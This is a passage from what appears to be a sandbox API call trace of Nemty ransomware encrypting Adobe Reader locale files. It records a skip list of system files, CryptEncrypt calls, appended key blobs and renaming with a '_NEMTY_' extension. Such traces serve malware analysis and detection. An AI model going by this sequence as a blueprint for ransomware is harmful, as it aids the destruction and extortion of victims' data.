hFile=0x2e8, lDistanceToMove=84992, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14c00 [0177.144] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.145] CloseHandle (hObject=0x2e8) returned 1 [0177.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0177.145] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0177.145] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0177.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0177.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340308 [0177.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403c0 [0177.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0177.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0177.145] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\makeaccessible.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\makeaccessible.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\makeaccessible.FRA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\makeaccessible.fra._nemty_kgobjgd_")) returned 1 [0177.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0177.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0177.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.146] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Multimedia.FRA", cAlternateFileName="MULTIM~1.FRA")) returned 1 [0177.146] lstrcmpiW (lpString1="Multimedia.FRA", lpString2=".") returned 1 [0177.146] lstrcmpiW (lpString1="Multimedia.FRA", lpString2="..") returned 1 [0177.146] lstrcmpiW (lpString1="Multimedia.FRA", lpString2="...") returned 1 [0177.146] lstrcmpiW (lpString1="Multimedia.FRA", lpString2="windows") returned -1 [0177.146] lstrcmpiW (lpString1="Multimedia.FRA", lpString2="$RECYCLE.BIN") returned 1 [0177.146] lstrcmpiW (lpString1="Multimedia.FRA", lpString2="rsa") returned -1 [0177.146] lstrcmpiW (lpString1="Multimedia.FRA", lpString2="NTDETECT.COM") returned -1 [0177.146] lstrcmpiW (lpString1="Multimedia.FRA", lpString2="ntldr") returned -1 [0177.146] lstrcmpiW (lpString1="Multimedia.FRA", lpString2="MSDOS.SYS") returned 1 [0177.146] lstrcmpiW (lpString1="Multimedia.FRA", lpString2="IO.SYS") returned 1 [0177.146] lstrcmpiW (lpString1="Multimedia.FRA", lpString2="boot.ini") returned 1 [0177.146] lstrcmpiW (lpString1="Multimedia.FRA", lpString2="boot.ini") returned 1 [0177.146] lstrcmpiW (lpString1="Multimedia.FRA", lpString2="AUTOEXEC.BAT") returned 1 [0177.146] lstrcmpiW (lpString1="Multimedia.FRA", lpString2="ntuser.dat") returned -1 [0177.146] lstrcmpiW (lpString1="Multimedia.FRA", lpString2="desktop.ini") returned 1 [0177.146] lstrcmpiW (lpString1="Multimedia.FRA", lpString2="CONFIG.SYS") returned 1 [0177.146] lstrcmpiW (lpString1="Multimedia.FRA", lpString2="RECYCLER") returned -1 [0177.146] lstrcmpiW (lpString1="Multimedia.FRA", lpString2="BOOTSECT.BAK") returned 1 [0177.146] lstrcmpiW (lpString1="Multimedia.FRA", lpString2="bootmgr") returned 1 [0177.146] lstrcmpiW (lpString1="Multimedia.FRA", lpString2="programdata") returned -1 [0177.146] lstrcmpiW (lpString1="Multimedia.FRA", lpString2="appdata") returned 1 [0177.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.FRA", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0177.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.FRA", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.FRA", lpUsedDefaultChar=0x0) returned 14 [0177.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.FRA", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0177.147] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.FRA", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.FRA", lpUsedDefaultChar=0x0) returned 14 [0177.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.147] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.FRA", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0177.147] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.FRA", cchWideChar=14, lpMultiByteStr=0x653e8e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.FRA", lpUsedDefaultChar=0x0) returned 14 [0177.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.147] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.FRA", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0177.147] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.FRA", cchWideChar=14, lpMultiByteStr=0x653e918, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.FRA", lpUsedDefaultChar=0x0) returned 14 [0177.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0177.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.147] Sleep (dwMilliseconds=0x5) [0177.151] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d3cc330, dwHighDateTime=0x1d561e8)) [0177.151] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d3cc330, dwHighDateTime=0x1d561e8)) [0177.151] GetLastError () returned 0x0 [0177.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.151] GetLastError () returned 0x0 [0177.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.152] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.152] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.152] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0177.152] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="3Riq/IWQLX9p4ofLsCC2vxwvdTL+eJeGicx8md8TJZjhTv8rPfQB2T5Bx4H/bemr\r\nx90Ib8jEB5URtINVXBsdlO2MID2uEqm2QGqar4Z/bxfwOh8BdhreK1z6uwYjnKGj\r\nzCb3UBuUyac6euB4nJdg0T0FmlJb7hg19K8RyLngI1pJYEl1+cHsOu+zGv5FMhib\r\ncFyuaCmN7Iv4VU+N5/XR2UTSKyMqgRHlmGoYZGekjuKi3d5jXb5HxHzNcdh3Fw0y\r\nfcSbe6vxqjprghq38eImzy6DHSu8lE9veDv3bIJfmGJH8dtxdAbpURTDMzInU50f\r\neYKYLk+kq9MRCxFjokuVnw==\r\n", pcchString=0x653e5dc) returned 1 [0177.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0177.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.152] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Multimedia.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\multimedia.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.153] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=82944) returned 1 [0177.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14400) returned 0x6352c48 [0177.153] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.153] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x14400, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x14400, lpOverlapped=0x0) returned 1 [0177.159] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.159] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x14400, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x14400, lpOverlapped=0x0) returned 1 [0177.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.160] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=82944, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14400 [0177.160] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.160] CloseHandle (hObject=0x2e8) returned 1 [0177.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0177.160] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.160] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0177.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0177.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0177.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.160] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Multimedia.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\multimedia.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Multimedia.FRA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\multimedia.fra._nemty_kgobjgd_")) returned 1 [0177.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0177.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0177.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.161] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="pddom.FRA", cAlternateFileName="")) returned 1 [0177.161] lstrcmpiW (lpString1="pddom.FRA", lpString2=".") returned 1 [0177.161] lstrcmpiW (lpString1="pddom.FRA", lpString2="..") returned 1 [0177.161] lstrcmpiW (lpString1="pddom.FRA", lpString2="...") returned 1 [0177.161] lstrcmpiW (lpString1="pddom.FRA", lpString2="windows") returned -1 [0177.161] lstrcmpiW (lpString1="pddom.FRA", lpString2="$RECYCLE.BIN") returned 1 [0177.161] lstrcmpiW (lpString1="pddom.FRA", lpString2="rsa") returned -1 [0177.161] lstrcmpiW (lpString1="pddom.FRA", lpString2="NTDETECT.COM") returned 1 [0177.161] lstrcmpiW (lpString1="pddom.FRA", lpString2="ntldr") returned 1 [0177.161] lstrcmpiW (lpString1="pddom.FRA", lpString2="MSDOS.SYS") returned 1 [0177.161] lstrcmpiW (lpString1="pddom.FRA", lpString2="IO.SYS") returned 1 [0177.161] lstrcmpiW (lpString1="pddom.FRA", lpString2="boot.ini") returned 1 [0177.161] lstrcmpiW (lpString1="pddom.FRA", lpString2="boot.ini") returned 1 [0177.161] lstrcmpiW (lpString1="pddom.FRA", lpString2="AUTOEXEC.BAT") returned 1 [0177.161] lstrcmpiW (lpString1="pddom.FRA", lpString2="ntuser.dat") returned 1 [0177.161] lstrcmpiW (lpString1="pddom.FRA", lpString2="desktop.ini") returned 1 [0177.161] lstrcmpiW (lpString1="pddom.FRA", lpString2="CONFIG.SYS") returned 1 [0177.162] lstrcmpiW (lpString1="pddom.FRA", lpString2="RECYCLER") returned -1 [0177.162] lstrcmpiW (lpString1="pddom.FRA", lpString2="BOOTSECT.BAK") returned 1 [0177.162] lstrcmpiW (lpString1="pddom.FRA", lpString2="bootmgr") returned 1 [0177.162] lstrcmpiW (lpString1="pddom.FRA", lpString2="programdata") returned -1 [0177.162] lstrcmpiW (lpString1="pddom.FRA", lpString2="appdata") returned 1 [0177.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.FRA", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.FRA", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.FRA", lpUsedDefaultChar=0x0) returned 9 [0177.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.FRA", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.FRA", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.FRA", lpUsedDefaultChar=0x0) returned 9 [0177.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.FRA", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.FRA", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.FRA", lpUsedDefaultChar=0x0) returned 9 [0177.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.FRA", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.162] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.FRA", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.FRA", lpUsedDefaultChar=0x0) returned 9 [0177.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0177.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0177.162] Sleep (dwMilliseconds=0x5) [0177.171] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d3f2490, dwHighDateTime=0x1d561e8)) [0177.171] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d3f2490, dwHighDateTime=0x1d561e8)) [0177.171] GetLastError () returned 0x0 [0177.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.171] GetLastError () returned 0x0 [0177.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.171] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.171] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.171] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.172] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0177.172] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="CGFqwvTKAGKCAvmJsnEVC7jHNLPU7ZxdpKIDbNXj7SNsMEh/9NyIScLF9/moEHNe\r\n+YqcsvRkdHp/KveVa1GT0f+l23/2jHvVb34HwVYM+1iCmS7VMo3tiw3f3DDF7dOI\r\nm65mN9HjKMlrZOjiHEWYMK+Vy6sET6TJyJCjVZYBD6uLi6T3KBgcgzTPNEwlsLTA\r\nTChwlFb/JM2u+Fs2Ei5K+/7QXR6XCFdrL2i9icY+zDpPhUuoirFIxqfT/BHnTVhb\r\nxC0UoDKCTKil/DE8MPfIuc7lc3OmpRYrg5IWzhBfrRNMmNcu1dSZ95/p0piF4oUS\r\nFwqcpeEuq9PxdgiU7sScnQ==\r\n", pcchString=0x653e5dc) returned 1 [0177.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0177.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.172] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\pddom.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\pddom.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 